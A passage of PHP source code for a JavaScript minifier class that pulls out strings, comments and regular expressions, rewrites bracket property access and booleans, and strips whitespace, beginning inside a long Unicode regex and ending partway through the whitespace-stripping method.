102a}\x{103f}\x{1050}-\x{1055}\x{105a}-\x{105d}\x{1061}\x{1065}\x{1066}\x{106e}-\x{1070}\x{1075}-\x{1081}\x{108e}\x{10a0}-\x{10c5}\x{10c7}\x{10cd}\x{10d0}-\x{10fa}\x{10fc}-\x{1248}\x{124a}-\x{124d}\x{1250}-\x{1256}\x{1258}\x{125a}-\x{125d}\x{1260}-\x{1288}\x{128a}-\x{128d}\x{1290}-\x{12b0}\x{12b2}-\x{12b5}\x{12b8}-\x{12be}\x{12c0}\x{12c2}-\x{12c5}\x{12c8}-\x{12d6}\x{12d8}-\x{1310}\x{1312}-\x{1315}\x{1318}-\x{135a}\x{1380}-\x{138f}\x{13a0}-\x{13f4}\x{1401}-\x{166c}\x{166f}-\x{167f}\x{1681}-\x{169a}\x{16a0}-\x{16ea}\x{16ee}-\x{16f0}\x{1700}-\x{170c}\x{170e}-\x{1711}\x{1720}-\x{1731}\x{1740}-\x{1751}\x{1760}-\x{176c}\x{176e}-\x{1770}\x{1780}-\x{17b3}\x{17d7}\x{17dc}\x{1820}-\x{1877}\x{1880}-\x{18a8}\x{18aa}\x{18b0}-\x{18f5}\x{1900}-\x{191c}\x{1950}-\x{196d}\x{1970}-\x{1974}\x{1980}-\x{19ab}\x{19c1}-\x{19c7}\x{1a00}-\x{1a16}\x{1a20}-\x{1a54}\x{1aa7}\x{1b05}-\x{1b33}\x{1b45}-\x{1b4b}\x{1b83}-\x{1ba0}\x{1bae}\x{1baf}\x{1bba}-\x{1be5}\x{1c00}-\x{1c23}\x{1c4d}-\x{1c4f}\x{1c5a}-\x{1c7d}\x{1ce9}-\x{1cec}\x{1cee}-\x{1cf1}\x{1cf5}\x{1cf6}\x{1d00}-\x{1dbf}\x{1e00}-\x{1f15}\x{1f18}-\x{1f1d}\x{1f20}-\x{1f45}\x{1f48}-\x{1f4d}\x{1f50}-\x{1f57}\x{1f59}\x{1f5b}\x{1f5d}\x{1f5f}-\x{1f7d}\x{1f80}-\x{1fb4}\x{1fb6}-\x{1fbc}\x{1fbe}\x{1fc2}-\x{1fc4}\x{1fc6}-\x{1fcc}\x{1fd0}-\x{1fd3}\x{1fd6}-\x{1fdb}\x{1fe0}-\x{1fec}\x{1ff2}-\x{1ff4}\x{1ff6}-\x{1ffc}\x{2071}\x{207f}\x{2090}-\x{209c}\x{2102}\x{2107}\x{210a}-\x{2113}\x{2115}\x{2119}-\x{211d}\x{2124}\x{2126}\x{2128}\x{212a}-\x{212d}\x{212f}-\x{2139}\x{213c}-\x{213f}\x{2145}-\x{2149}\x{214e}\x{2160}-\x{2188}\x{2c00}-\x{2c2e}\x{2c30}-\x{2c5e}\x{2c60}-\x{2ce4}\x{2ceb}-\x{2cee}\x{2cf2}\x{2cf3}\x{2d00}-\x{2d25}\x{2d27}\x{2d2d}\x{2d30}-\x{2d67}\x{2d6f}\x{2d80}-\x{2d96}\x{2da0}-\x{2da6}\x{2da8}-\x{2dae}\x{2db0}-\x{2db6}\x{2db8}-\x{2dbe}\x{2dc0}-\x{2dc6}\x{2dc8}-\x{2dce}\x{2dd0}-\x{2dd6}\x{2dd8}-\x{2dde}\x{2e2f}\x{3005}-\x{3007}\x{3021}-\x{3029}\x{3031}-\x{3035}\x{3038}-\x{303c}\x{3041}-\x{3096}\x{309d}-\x{309f}\x{30a1}-\x{30fa}\x{30fc}-\x{30ff}\x{3105}-\x{312d}\x{3131}-\x{318e}\x{31a0}-\x{31ba}\x{31f0}-\x{31ff}\x{3400}-\x{4db5}\x{4e00}-\x{9fcc}\x{a000}-\x{a48c}\x{a4d0}-\x{a4fd}\x{a500}-\x{a60c}\x{a610}-\x{a61f}\x{a62a}\x{a62b}\x{a640}-\x{a66e}\x{a67f}-\x{a697}\x{a6a0}-\x{a6ef}\x{a717}-\x{a71f}\x{a722}-\x{a788}\x{a78b}-\x{a78e}\x{a790}-\x{a793}\x{a7a0}-\x{a7aa}\x{a7f8}-\x{a801}\x{a803}-\x{a805}\x{a807}-\x{a80a}\x{a80c}-\x{a822}\x{a840}-\x{a873}\x{a882}-\x{a8b3}\x{a8f2}-\x{a8f7}\x{a8fb}\x{a90a}-\x{a925}\x{a930}-\x{a946}\x{a960}-\x{a97c}\x{a984}-\x{a9b2}\x{a9cf}\x{aa00}-\x{aa28}\x{aa40}-\x{aa42}\x{aa44}-\x{aa4b}\x{aa60}-\x{aa76}\x{aa7a}\x{aa80}-\x{aaaf}\x{aab1}\x{aab5}\x{aab6}\x{aab9}-\x{aabd}\x{aac0}\x{aac2}\x{aadb}-\x{aadd}\x{aae0}-\x{aaea}\x{aaf2}-\x{aaf4}\x{ab01}-\x{ab06}\x{ab09}-\x{ab0e}\x{ab11}-\x{ab16}\x{ab20}-\x{ab26}\x{ab28}-\x{ab2e}\x{abc0}-\x{abe2}\x{ac00}-\x{d7a3}\x{d7b0}-\x{d7c6}\x{d7cb}-\x{d7fb}\x{f900}-\x{fa6d}\x{fa70}-\x{fad9}\x{fb00}-\x{fb06}\x{fb13}-\x{fb17}\x{fb1d}\x{fb1f}-\x{fb28}\x{fb2a}-\x{fb36}\x{fb38}-\x{fb3c}\x{fb3e}\x{fb40}\x{fb41}\x{fb43}\x{fb44}\x{fb46}-\x{fbb1}\x{fbd3}-\x{fd3d}\x{fd50}-\x{fd8f}\x{fd92}-\x{fdc7}\x{fdf0}-\x{fdfb}\x{fe70}-\x{fe74}\x{fe76}-\x{fefc}\x{ff21}-\x{ff3a}\x{ff41}-\x{ff5a}\x{ff66}-\x{ffbe}\x{ffc2}-\x{ffc7}\x{ffca}-\x{ffcf}\x{ffd2}-\x{ffd7}\x{ffda}-\x{ffdc}0-9\x{0300}-\x{036f}\x{0483}-\x{0487}\x{0591}-\x{05bd}\x{05bf}\x{05c1}\x{05c2}\x{05c4}\x{05c5}\x{05c7}\x{0610}-\x{061a}\x{064b}-\x{0669}\x{0670}\x{06d6}-\x{06dc}\x{06df}-\x{06e4}\x{06e7}\x{06e8}\x{06ea}-\x{06ed}\x{06f0}-\x{06f9}\x{0711}\x{0730}-\x{074a}\x{07a6}-\x{07b0}\x{07c0}-\x{07c9}\x{07eb}-\x{07f3}\x{0816}-\x{0819}\x{081b}-\x{0823}\x{0825}-\x{0827}\x{0829}-\x{082d}\x{0859}-\x{085b}\x{08e4}-\x{08fe}\x{0900}-\x{0903}\x{093a}-\x{093c}\x{093e}-\x{094f}\x{0951}-\x{0957}\x{0962}\x{0963}\x{0966}-\x{096f}\x{0981}-\x{0983}\x{09bc}\x{09be}-\x{09c4}\x{09c7}\x{09c8}\x{09cb}-\x{09cd}\x{09d7}\x{09e2}\x{09e3}\x{09e6}-\x{09ef}\x{0a01}-\x{0a03}\x{0a3c}\x{0a3e}-\x{0a42}\x{0a47}\x{0a48}\x{0a4b}-\x{0a4d}\x{0a51}\x{0a66}-\x{0a71}\x{0a75}\x{0a81}-\x{0a83}\x{0abc}\x{0abe}-\x{0ac5}\x{0ac7}-\x{0ac9}\x{0acb}-\x{0acd}\x{0ae2}\x{0ae3}\x{0ae6}-\x{0aef}\x{0b01}-\x{0b03}\x{0b3c}\x{0b3e}-\x{0b44}\x{0b47}\x{0b48}\x{0b4b}-\x{0b4d}\x{0b56}\x{0b57}\x{0b62}\x{0b63}\x{0b66}-\x{0b6f}\x{0b82}\x{0bbe}-\x{0bc2}\x{0bc6}-\x{0bc8}\x{0bca}-\x{0bcd}\x{0bd7}\x{0be6}-\x{0bef}\x{0c01}-\x{0c03}\x{0c3e}-\x{0c44}\x{0c46}-\x{0c48}\x{0c4a}-\x{0c4d}\x{0c55}\x{0c56}\x{0c62}\x{0c63}\x{0c66}-\x{0c6f}\x{0c82}\x{0c83}\x{0cbc}\x{0cbe}-\x{0cc4}\x{0cc6}-\x{0cc8}\x{0cca}-\x{0ccd}\x{0cd5}\x{0cd6}\x{0ce2}\x{0ce3}\x{0ce6}-\x{0cef}\x{0d02}\x{0d03}\x{0d3e}-\x{0d44}\x{0d46}-\x{0d48}\x{0d4a}-\x{0d4d}\x{0d57}\x{0d62}\x{0d63}\x{0d66}-\x{0d6f}\x{0d82}\x{0d83}\x{0dca}\x{0dcf}-\x{0dd4}\x{0dd6}\x{0dd8}-\x{0ddf}\x{0df2}\x{0df3}\x{0e31}\x{0e34}-\x{0e3a}\x{0e47}-\x{0e4e}\x{0e50}-\x{0e59}\x{0eb1}\x{0eb4}-\x{0eb9}\x{0ebb}\x{0ebc}\x{0ec8}-\x{0ecd}\x{0ed0}-\x{0ed9}\x{0f18}\x{0f19}\x{0f20}-\x{0f29}\x{0f35}\x{0f37}\x{0f39}\x{0f3e}\x{0f3f}\x{0f71}-\x{0f84}\x{0f86}\x{0f87}\x{0f8d}-\x{0f97}\x{0f99}-\x{0fbc}\x{0fc6}\x{102b}-\x{103e}\x{1040}-\x{1049}\x{1056}-\x{1059}\x{105e}-\x{1060}\x{1062}-\x{1064}\x{1067}-\x{106d}\x{1071}-\x{1074}\x{1082}-\x{108d}\x{108f}-\x{109d}\x{135d}-\x{135f}\x{1712}-\x{1714}\x{1732}-\x{1734}\x{1752}\x{1753}\x{1772}\x{1773}\x{17b4}-\x{17d3}\x{17dd}\x{17e0}-\x{17e9}\x{180b}-\x{180d}\x{1810}-\x{1819}\x{18a9}\x{1920}-\x{192b}\x{1930}-\x{193b}\x{1946}-\x{194f}\x{19b0}-\x{19c0}\x{19c8}\x{19c9}\x{19d0}-\x{19d9}\x{1a17}-\x{1a1b}\x{1a55}-\x{1a5e}\x{1a60}-\x{1a7c}\x{1a7f}-\x{1a89}\x{1a90}-\x{1a99}\x{1b00}-\x{1b04}\x{1b34}-\x{1b44}\x{1b50}-\x{1b59}\x{1b6b}-\x{1b73}\x{1b80}-\x{1b82}\x{1ba1}-\x{1bad}\x{1bb0}-\x{1bb9}\x{1be6}-\x{1bf3}\x{1c24}-\x{1c37}\x{1c40}-\x{1c49}\x{1c50}-\x{1c59}\x{1cd0}-\x{1cd2}\x{1cd4}-\x{1ce8}\x{1ced}\x{1cf2}-\x{1cf4}\x{1dc0}-\x{1de6}\x{1dfc}-\x{1dff}\x{200c}\x{200d}\x{203f}\x{2040}\x{2054}\x{20d0}-\x{20dc}\x{20e1}\x{20e5}-\x{20f0}\x{2cef}-\x{2cf1}\x{2d7f}\x{2de0}-\x{2dff}\x{302a}-\x{302f}\x{3099}\x{309a}\x{a620}-\x{a629}\x{a66f}\x{a674}-\x{a67d}\x{a69f}\x{a6f0}\x{a6f1}\x{a802}\x{a806}\x{a80b}\x{a823}-\x{a827}\x{a880}\x{a881}\x{a8b4}-\x{a8c4}\x{a8d0}-\x{a8d9}\x{a8e0}-\x{a8f1}\x{a900}-\x{a909}\x{a926}-\x{a92d}\x{a947}-\x{a953}\x{a980}-\x{a983}\x{a9b3}-\x{a9c0}\x{a9d0}-\x{a9d9}\x{aa29}-\x{aa36}\x{aa43}\x{aa4c}\x{aa4d}\x{aa50}-\x{aa59}\x{aa7b}\x{aab0}\x{aab2}-\x{aab4}\x{aab7}\x{aab8}\x{aabe}\x{aabf}\x{aac1}\x{aaeb}-\x{aaef}\x{aaf5}\x{aaf6}\x{abe3}-\x{abea}\x{abec}\x{abed}\x{abf0}-\x{abf9}\x{fb1e}\x{fe00}-\x{fe0f}\x{fe20}-\x{fe26}\x{fe33}\x{fe34}\x{fe4d}-\x{fe4f}\x{ff10}-\x{ff19}\x{ff3f}]*\b';

    /**
     * Array of patterns to match.
     *
     * @var string[]
     */
    protected $patterns = array();
    
    /**
     * This array will hold content of strings and regular expressions that have
     * been extracted from the JS source code, so we can reliably match "code",
     * without having to worry about potential "code-like" characters inside.
     *
     * @var string[]
     */
    public $extracted = array();

    /**
     * Full list of JavaScript reserved words.
     * Will be loaded from /data/js/keywords_reserved.txt.
     *
     * @see https://mathiasbynens.be/notes/reserved-keywords
     *
     * @var string[]
     */
    protected $keywordsReserved = array();

    /**
     * List of JavaScript reserved words that accept a <variable, value, ...>
     * after them. Some end of lines are not the end of a statement, like with
     * these keywords.
     *
     * E.g.: we shouldn't insert a ; after this else
     * else
     *     console.log('this is quite fine')
     *
     * Will be loaded from /data/js/keywords_before.txt
     *
     * @var string[]
     */
    protected $keywordsBefore = array();

    /**
     * List of JavaScript reserved words that accept a <variable, value, ...>
     * before them. Some end of lines are not the end of a statement, like when
     * continued by one of these keywords on the newline.
     *
     * E.g.: we shouldn't insert a ; before this instanceof
     * variable
     *     instanceof String
     *
     * Will be loaded from /data/js/keywords_after.txt
     *
     * @var string[]
     */
    protected $keywordsAfter = array();

    /**
     * List of all JavaScript operators.
     *
     * Will be loaded from /data/js/operators.txt
     *
     * @see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators
     *
     * @var string[]
     */
    protected $operators = array();

    /**
     * List of JavaScript operators that accept a <variable, value, ...> after
     * them. Some end of lines are not the end of a statement, like with these
     * operators.
     *
     * Note: Most operators are fine, we've only removed ++ and --.
     * ++ & -- have to be joined with the value they're in-/decrementing.
     *
     * Will be loaded from /data/js/operators_before.txt
     *
     * @see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators
     *
     * @var string[]
     */
    protected $operatorsBefore = array();

    /**
     * List of JavaScript operators that accept a <variable, value, ...> before
     * them. Some end of lines are not the end of a statement, like when
     * continued by one of these operators on the newline.
     *
     * Note: Most operators are fine, we've only removed ), ], ++, --, ! and ~.
     * There can't be a newline separating ! or ~ and whatever it is negating.
     * ++ & -- have to be joined with the value they're in-/decrementing.
     * ) & ] are "special" in that they have lots or usecases. () for example
     * is used for function calls, for grouping, in if () and for (), ...
     *
     * Will be loaded from /data/js/operators_after.txt
     *
     * @see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators
     *
     * @var string[]
     */
    protected $operatorsAfter = array();

    /**
     * {@inheritdoc}
     */
    public function __construct()
    {
        $dataDir = __DIR__.'/jsmin_data/';
        $options = FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES;
        $this->keywordsReserved = file($dataDir.'keywords_reserved.txt', $options);
        $this->keywordsBefore = file($dataDir.'keywords_before.txt', $options);
        $this->keywordsAfter = file($dataDir.'keywords_after.txt', $options);
        $this->operators = file($dataDir.'operators.txt', $options);
        $this->operatorsBefore = file($dataDir.'operators_before.txt', $options);
        $this->operatorsAfter = file($dataDir.'operators_after.txt', $options);
    }

    /**
     * Minify the data.
     * Perform JS optimizations.
     *
     * @param string[optional] $path Path to write the data to
     *
     * @return string The minified data
     */
    public static function minify($js)
    {
        $jsmin = new JSMin();
        return $jsmin->min($js);
    }

    public function min($js)
    {

        $output = '';
        /*
         * Let's first take out strings, comments and regular expressions.
         * All of these can contain JS code-like characters, and we should make
         * sure any further magic ignores anything inside of these.
         *
         * Consider this example, where we should not strip any whitespace:
         * var str = "a   test";
         *
         * Comments will be removed altogether, strings and regular expressions
         * will be replaced by placeholder text, which we'll restore later.
         */
        $this->extractStrings('\'"`');
        $this->stripComments();
        $this->extractRegex();

        // take out strings, comments & regex (for which we've registered
        // the regexes just a few lines earlier)
        $js = $this->replace($js);

        $js = $this->propertyNotation($js);
        $js = $this->shortenBools($js);
        $js = $this->stripWhitespace($js);

        // combine js: separating the scripts by a ;
        $output .= $js.";";

        // clean up leftover `;`s from the combination of multiple scripts
        $output = ltrim($output, ';');
        $output = (string) substr($output, 0, -1);

        /*
         * Earlier, we extracted strings & regular expressions and replaced them
         * with placeholder text. This will restore them.
         */
        $output = $this->restoreExtractedData($output);

        return $output;
    }

    /**
     * Strings are a pattern we need to match, in order to ignore potential
     * code-like content inside them, but we just want all of the string
     * content to remain untouched.
     *
     * This method will replace all string content with simple STRING#
     * placeholder text, so we've rid all strings from characters that may be
     * misinterpreted. Original string content will be saved in $this->extracted
     * and after doing all other minifying, we can restore the original content
     * via restoreStrings().
     *
     * @param string[optional] $chars
     * @param string[optional] $placeholderPrefix
     */
    protected function extractStrings($chars = '\'"', $placeholderPrefix = '')
    {
        // PHP only supports $this inside anonymous functions since 5.4
        $minifier = $this;
        $callback = function ($match) use ($minifier, $placeholderPrefix) {
            // check the second index here, because the first always contains a quote
            if ($match[2] === '') {
                /*
                 * Empty strings need no placeholder; they can't be confused for
                 * anything else anyway.
                 * But we still needed to match them, for the extraction routine
                 * to skip over this particular string.
                 */
                return $match[0];
            }

            $count = count($minifier->extracted);
            $placeholder = $match[1].$placeholderPrefix.$count.$match[1];
            $minifier->extracted[$placeholder] = $match[1].$match[2].$match[1];

            return $placeholder;
        };

        /*
         * The \\ messiness explained:
         * * Don't count ' or " as end-of-string if it's escaped (has backslash
         * in front of it)
         * * Unless... that backslash itself is escaped (another leading slash),
         * in which case it's no longer escaping the ' or "
         * * So there can be either no backslash, or an even number
         * * multiply all of that times 4, to account for the escaping that has
         * to be done to pass the backslash into the PHP string without it being
         * considered as escape-char (times 2) and to get it in the regex,
         * escaped (times 2)
         */
        $this->registerPattern('/(['.$chars.'])(.*?(?<!\\\\)(\\\\\\\\)*+)\\1/s', $callback);
    }

    /**
     * Strip comments from source code.
     */
    protected function stripComments()
    {
        // PHP only supports $this inside anonymous functions since 5.4
        $minifier = $this;
        $callback = function ($match) use ($minifier) {
            if (
                substr($match[1], 0, 1) === '!' ||
                strpos($match[1], '@license') !== false ||
                strpos($match[1], '@preserve') !== false
            ) {
                // preserve multi-line comments that start with /*!
                // or contain @license or @preserve annotations
                $count = count($minifier->extracted);
                $placeholder = '/*'.$count.'*/';
                $minifier->extracted[$placeholder] = $match[0];

                return $placeholder;
            }

            return '';
        };

        // multi-line comments
        $this->registerPattern('/\n?\/\*(.*?)\*\/\n?/s', $callback);

        // single-line comments
        $this->registerPattern('/\/\/.*$/m', '');
    }

    /**
     * JS can have /-delimited regular expressions, like: /ab+c/.match(string).
     *
     * The content inside the regex can contain characters that may be confused
     * for JS code: e.g. it could contain whitespace it needs to match & we
     * don't want to strip whitespace in there.
     *
     * The regex can be pretty simple: we don't have to care about comments,
     * (which also use slashes) because stripComments() will have stripped those
     * already.
     *
     * This method will replace all string content with simple REGEX#
     * placeholder text, so we've rid all regular expressions from characters
     * that may be misinterpreted. Original regex content will be saved in
     * $this->extracted and after doing all other minifying, we can restore the
     * original content via restoreRegex()
     */
    protected function extractRegex()
    {
        // PHP only supports $this inside anonymous functions since 5.4
        $minifier = $this;
        $callback = function ($match) use ($minifier) {
            $count = count($minifier->extracted);
            $placeholder = '"'.$count.'"';
            $minifier->extracted[$placeholder] = $match[0];

            return $placeholder;
        };

        // match all chars except `/` and `\`
        // `\` is allowed though, along with whatever char follows (which is the
        // one being escaped)
        // this should allow all chars, except for an unescaped `/` (= the one
        // closing the regex)
        // then also ignore bare `/` inside `[]`, where they don't need to be
        // escaped: anything inside `[]` can be ignored safely
        $pattern = '\\/(?!\*)(?:[^\\[\\/\\\\\n\r]++|(?:\\\\.)++|(?:\\[(?:[^\\]\\\\\n\r]++|(?:\\\\.)++)++\\])++)++\\/[gimuy]*';

        // a regular expression can only be followed by a few operators or some
        // of the RegExp methods (a `\` followed by a variable or value is
        // likely part of a division, not a regex)
        $keywords = array('do', 'in', 'new', 'else', 'throw', 'yield', 'delete', 'return',  'typeof');
        $before = '(^|[=:,;\+\-\*\/\}\(\{\[&\|!]|'.implode('|', $keywords).')\s*';
        $propertiesAndMethods = array(
            // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp#Properties_2
            'constructor',
            'flags',
            'global',
            'ignoreCase',
            'multiline',
            'source',
            'sticky',
            'unicode',
            // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp#Methods_2
            'compile(',
            'exec(',
            'test(',
            'toSource(',
            'toString(',
        );
        $delimiters = array_fill(0, count($propertiesAndMethods), '/');
        $propertiesAndMethods = array_map('preg_quote', $propertiesAndMethods, $delimiters);
        $after = '(?=\s*([\.,;\)\}&\|+]|\/\/|$|\.('.implode('|', $propertiesAndMethods).')))';
        $this->registerPattern('/'.$before.'\K'.$pattern.$after.'/', $callback);

        // regular expressions following a `)` are rather annoying to detect...
        // quite often, `/` after `)` is a division operator & if it happens to
        // be followed by another one (or a comment), it is likely to be
        // confused for a regular expression
        // however, it's perfectly possible for a regex to follow a `)`: after
        // a single-line `if()`, `while()`, ... statement, for example
        // since, when they occur like that, they're always the start of a
        // statement, there's only a limited amount of ways they can be useful:
        // by calling the regex methods directly
        // if a regex following `)` is not followed by `.<property or method>`,
        // it's quite likely not a regex
        $before = '\)\s*';
        $after = '(?=\s*\.('.implode('|', $propertiesAndMethods).'))';
        $this->registerPattern('/'.$before.'\K'.$pattern.$after.'/', $callback);

        // 1 more edge case: a regex can be followed by a lot more operators or
        // keywords if there's a newline (ASI) in between, where the operator
        // actually starts a new statement
        // (https://github.com/matthiasmullie/minify/issues/56)
        $operators = $this->getOperatorsForRegex($this->operatorsBefore, '/');
        $operators += $this->getOperatorsForRegex($this->keywordsReserved, '/');
        $after = '(?=\s*\n\s*('.implode('|', $operators).'))';
        $this->registerPattern('/'.$pattern.$after.'/', $callback);
    }

    /**
     * We can't "just" run some regular expressions against JavaScript: it's a
     * complex language. E.g. having an occurrence of // xyz would be a comment,
     * unless it's used within a string. Of you could have something that looks
     * like a 'string', but inside a comment.
     * The only way to accurately replace these pieces is to traverse the JS one
     * character at a time and try to find whatever starts first.
     *
     * @param string $content The content to replace patterns in
     *
     * @return string The (manipulated) content
     */
    protected function replace($content)
    {
        $contentLength = strlen($content);
        $output = '';
        $processedOffset = 0;
        $positions = array_fill(0, count($this->patterns), -1);
        $matches = array();

        while ($processedOffset < $contentLength) {
            // find first match for all patterns
            foreach ($this->patterns as $i => $pattern) {
                list($pattern, $replacement) = $pattern;

                // we can safely ignore patterns for positions we've unset earlier,
                // because we know these won't show up anymore
                if (array_key_exists($i, $positions) == false) {
                    continue;
                }

                // no need to re-run matches that are still in the part of the
                // content that hasn't been processed
                if ($positions[$i] >= $processedOffset) {
                    continue;
                }

                $match = null;
                if (preg_match($pattern, $content, $match, PREG_OFFSET_CAPTURE, $processedOffset)) {
                    $matches[$i] = $match;

                    // we'll store the match position as well; that way, we
                    // don't have to redo all preg_matches after changing only
                    // the first (we'll still know where those others are)
                    $positions[$i] = $match[0][1];
                } else {
                    // if the pattern couldn't be matched, there's no point in
                    // executing it again in later runs on this same content;
                    // ignore this one until we reach end of content
                    unset($matches[$i], $positions[$i]);
                }
            }

            // no more matches to find: everything's been processed, break out
            if (!$matches) {
                // output the remaining content
                $output .= substr($content, $processedOffset);
                break;
            }

            // see which of the patterns actually found the first thing (we'll
            // only want to execute that one, since we're unsure if what the
            // other found was not inside what the first found)
            $matchOffset = min($positions);
            $firstPattern = array_search($matchOffset, $positions);
            $match = $matches[$firstPattern];

            // execute the pattern that matches earliest in the content string
            list(, $replacement) = $this->patterns[$firstPattern];

            // add the part of the input between $processedOffset and the first match;
            // that content wasn't matched by anything
            $output .= substr($content, $processedOffset, $matchOffset - $processedOffset);
            // add the replacement for the match
            $output .= $this->executeReplacement($replacement, $match);
            // advance $processedOffset past the match
            $processedOffset = $matchOffset + strlen($match[0][0]);
        }

        return $output;
    }

    /**
     * Replaces all occurrences of array['key'] by array.key.
     *
     * @param string $content
     *
     * @return string
     */
    protected function propertyNotation($content)
    {
        // PHP only supports $this inside anonymous functions since 5.4
        $minifier = $this;
        $keywords = $this->keywordsReserved;
        $callback = function ($match) use ($minifier, $keywords) {
            $property = trim($minifier->extracted[$match[1]], '\'"');

            /*
             * Check if the property is a reserved keyword. In this context (as
             * property of an object literal/array) it shouldn't matter, but IE8
             * freaks out with "Expected identifier".
             */
            if (in_array($property, $keywords)) {
                return $match[0];
            }

            /*
             * See if the property is in a variable-like format (e.g.
             * array['key-here'] can't be replaced by array.key-here since '-'
             * is not a valid character there.
             */
            if (!preg_match('/^'.$minifier::REGEX_VARIABLE.'$/u', $property)) {
                return $match[0];
            }

            return '.'.$property;
        };

        /*
         * Figure out if previous character is a variable name (of the array
         * we want to use property notation on) - this is to make sure
         * standalone ['value'] arrays aren't confused for keys-of-an-array.
         * We can (and only have to) check the last character, because PHP's
         * regex implementation doesn't allow unfixed-length look-behind
         * assertions.
         */
        preg_match('/(\[[^\]]+\])[^\]]*$/', static::REGEX_VARIABLE, $previousChar);
        $previousChar = $previousChar[1];

        /*
         * Make sure word preceding the ['value'] is not a keyword, e.g.
         * return['x']. Because -again- PHP's regex implementation doesn't allow
         * unfixed-length look-behind assertions, I'm just going to do a lot of
         * separate look-behind assertions, one for each keyword.
         */
        $keywords = $this->getKeywordsForRegex($keywords);
        $keywords = '(?<!'.implode(')(?<!', $keywords).')';

        return preg_replace_callback('/(?<='.$previousChar.'|\])'.$keywords.'\[\s*(([\'"])[0-9]+\\2)\s*\]/u', $callback, $content);
    }

    /**
     * Replaces true & false by !0 and !1.
     *
     * @param string $content
     *
     * @return string
     */
    protected function shortenBools($content)
    {
        /*
         * 'true' or 'false' could be used as property names (which may be
         * followed by whitespace) - we must not replace those!
         * Since PHP doesn't allow variable-length (to account for the
         * whitespace) lookbehind assertions, I need to capture the leading
         * character and check if it's a `.`
         */
        $callback = function ($match) {
            if (trim($match[1]) === '.') {
                return $match[0];
            }

            return $match[1].($match[2] === 'true' ? '!0' : '!1');
        };
        $content = preg_replace_callback('/(^|.\s*)\b(true|false)\b(?!:)/', $callback, $content);

        // for(;;) is exactly the same as while(true), but shorter :)
        $content = preg_replace('/\bwhile\(!0\){/', 'for(;;){', $content);

        // now make sure we didn't turn any do ... while(true) into do ... for(;;)
        preg_match_all('/\bdo\b/', $content, $dos, PREG_OFFSET_CAPTURE | PREG_SET_ORDER);

        // go backward to make sure positional offsets aren't altered when $content changes
        $dos = array_reverse($dos);
        foreach ($dos as $do) {
            $offsetDo = $do[0][1];

            // find all `while` (now `for`) following `do`: one of those must be
            // associated with the `do` and be turned back into `while`
            preg_match_all('/\bfor\(;;\)/', $content, $whiles, PREG_OFFSET_CAPTURE | PREG_SET_ORDER, $offsetDo);
            foreach ($whiles as $while) {
                $offsetWhile = $while[0][1];

                $open = substr_count($content, '{', $offsetDo, $offsetWhile - $offsetDo);
                $close = substr_count($content, '}', $offsetDo, $offsetWhile - $offsetDo);
                if ($open === $close) {
                    // only restore `while` if amount of `{` and `}` are the same;
                    // otherwise, that `for` isn't associated with this `do`
                    $content = substr_replace($content, 'while(!0)', $offsetWhile, strlen('for(;;)'));
                    break;
                }
            }
        }

        return $content;
    }

    /**
     * Strip whitespace.
     *
     * We won't strip *all* whitespace, but as much as possible. The thing that
     * we'll preserve are newlines we're unsure about.
     * JavaScript doesn't require statements to be terminated with a semicolon.
     * It will automatically fix missing semicolons with ASI (automatic semi-
     * colon insertion) at the end of line causing errors (without semicolon.)
     *
     * Because it's sometimes hard to tell if a newline is part of a statement
     * that should be terminated or not, we'll just leave some of them alone.
     *
     * @param string $content The content to strip the whitespace for
     *
     * @return string
     */
    protected function stripWhitespace($content)
    {
        // uniform line endings, make them all line feed
        $content = str_replace(array("\r\n", "\r"), "\n", $content);

        // collapse all non-line feed whitespace into a single space
        $content = preg_replace('/[^\S\n]+/', ' ', $content);

        // strip leading & trailing whitespace
        $content = str_replace(array(" \n", "\n "), "\n", $content);

        // collapse consecutive line feeds into just 1
        $content = preg_replace('/\n+/', "\n", $content);

        $operatorsBefore = $this->getOperatorsForRegex($this->operatorsBefore, '/');
        $operatorsAfter = $this->getOperatorsForRegex($this->operatorsAfter, '/');
        $operators = $this->getOperatorsForRegex($this->operators, '/');
        $keywordsBefore = $this->getKeywordsForRegex($this->keywordsBefore, '/');
        $keywordsAfter = $this->getKeywordsForRegex($this->keywordsAfter, '/');

        // strip whitespace that ends in (or next line begin with) an operator
        // that allows statements to be broken up over multiple lines
        unset($operatorsBefore['+'], $operatorsBefore['-'], $operatorsAfter['+'], $operatorsAfter['-']);
        $content = preg_replace(
            array(
                '/('.implode('|', $operatorsBefore).')\s+/',
                '/\s+('.implode('|', $operatorsAfter).')/',
            ),
            '\\1',
            $content
        );

        // make sure + and - can't be mistaken for, or joined into ++ and --
        $content = preg_replace(
            array(
                '/(?<![\+\-])\s*([\+\-])(?![\+\-])/',
                '/(?<![\+\-])([\+\-])\s*(?![\+\-])/',
            ),
            '\\1',
            $content
        );

        // collapse whitespace around reserved words into single space
        $content = preg_replace('/(^|[;\}\s])\K('.implode('|', $keywordsBefore).')\s+/', '\\2 ', $content);
        $content = preg_replace('/\s+('.implode('|', $keywordsAfter).')(?=([;\{\s]|$))/', ' \\1', $content);

        /*
         * We didn't strip whitespace after a couple of operators because they
         * could be used in different contexts and we can't be sure it's ok to
         * strip the newlines. However, we can safely strip any non-line feed
         * whitespace that follows them.
         */
        $operatorsDiffBefore = array_diff($operators, $operatorsBefore);
        $operatorsDiffAfter = array_diff($operators, $operatorsAfter);
        $content = preg_replace('/('.implode('|', $operatorsDiffBefore).')[^\S\n]+/', '\\1', $content);
        $content = preg_replace('/[^\S\n]+('.implode('|', $operatorsDiffAfter).')/', '\\1', $content);

        /*
         * Whitespace after `return` can be omitted in a few occasions
         * (such as when followed by a string or regex)
         * Same for whitespace in between `)` and `{`, or between `{` and some
         * keywords.
         */
        $content = preg_replace('/\breturn\s+(["\'\/\+\-])/', 'return$1', $content);
        $content = preg_replace('/\)\s+\{/', '){', $content);
        $content = preg_replace('/}\n(else|catch|finally)\b/', '}$1', $content);

        /*
         * Get rid of double semicolons, except where they can be used like:
         * "for(v=1,_=b;;)", "for(v=1;;v++)" or "for(;;ja||(ja=true))".
         * I'll safeguard these double semicolons inside for-loops by
         * temporarily replacing them with an invalid condition: they won't have
         * a double semicolon and will be easy to spot to restore afterwards.
         */
